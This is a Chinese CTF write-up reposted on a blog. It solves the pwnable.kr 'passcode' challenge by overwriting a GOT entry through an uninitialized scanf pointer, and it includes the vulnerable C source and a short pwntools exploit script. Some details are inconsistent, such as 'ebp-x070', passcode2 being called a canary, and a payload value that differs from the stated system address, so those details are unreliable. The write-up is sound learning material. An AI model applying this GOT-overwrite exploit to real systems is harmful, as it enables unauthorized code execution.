pwnable.kr第五题:passcode

0x000打开环境

 

 

 

 

 ①查看源码:

 1 #include 
 2 #include 
 3 
 4 void login(){
 5     int passcode1;
 6     int passcode2;
 7 
 8     printf("enter passcode1 : ");
 9     scanf("%d", passcode1);
10     fflush(stdin);
11 
12     // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
13     printf("enter passcode2 : ");
14         scanf("%d", passcode2);
15 
16     printf("checking...\n");
17     if(passcode1==338150 && passcode2==13371337){
18                 printf("Login OK!\n");
19                 system("/bin/cat flag");
20         }
21         else{
22                 printf("Login Failed!\n");
23         exit(0);
24         }
25 }
26 
27 void welcome(){
28     char name[100];
29     printf("enter you name : ");
30     scanf("%100s", name);
31     printf("Welcome %s!\n", name);
32 }
33 
34 int main(){
35     printf("Toddler's Secure Login System 1.0 beta.\n");
36 
37     welcome();
38     login();
39 
40     // something after login...
41     printf("Now I can safely trust you that you have credential :)\n");
42     return 0;    
43 }

tips:

fflush(stdin)刷新标准输入缓冲区,把输入缓冲区里的东西丢弃[ 非标准]
fflush(stdout)刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上

②源码分析

  从17行的”passcode1==338150 && passcode2==13371337  “,可以看出passcode1和passcode只要满足相应的条件就可以执行“system("/bin/cat flag");”但是仔细看看,9和14行发现参数没有&符号,说明这个是一个指针,不是一个地址,函数会从栈中获取4个字节,漏洞就在这里,

  反编译passcode文件,打印login函数,

 

 

  发现全程都没有入栈的操作,说明name和passcode1在同一个栈内,而passcode2是canary,不能动它,能动的就只有passcode1了,怎么才能执行system("/bin/cat flag");呢,看到puts@plt这个标识,可以试试got表覆写技术(个人理解就是存储函数地址的对照表,和plt表一 一对应)。看看got表:

 

 

 可以利用的函数有printf,fflush,exit,因为在login函数中都有调用这三个函数,利用got表覆盖写成system函数的地址,那么只要这个函数被调用就可以得到flag。

 
0x001 漏洞的利用

  思路已经很清晰了,现在就是找到name的地址和passcode1的地址,计算他们之间的距离;printf/fflush/exit的入口地址;和system函数的地址。

 

 不难看出name的地址为ebp-x070

 

 passcode1的地址为ebp-0x10。

  name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址,他们的入口地址可通过如下命令查看:

 

接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

0x002 payload构造

payload的构成96个任意字符,一个函数(printf/fflush/exit)的入口地址,system函数的地址

python脚本如下:

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='passcode',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(executable="./passcode")
print (sh.recv())
sh.sendline('A'*96+'\x04\xa0\x04\x08'+'134514135')
print (sh.recvall())

 

转载于:https://www.cnblogs.com/DennyT/p/11622413.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值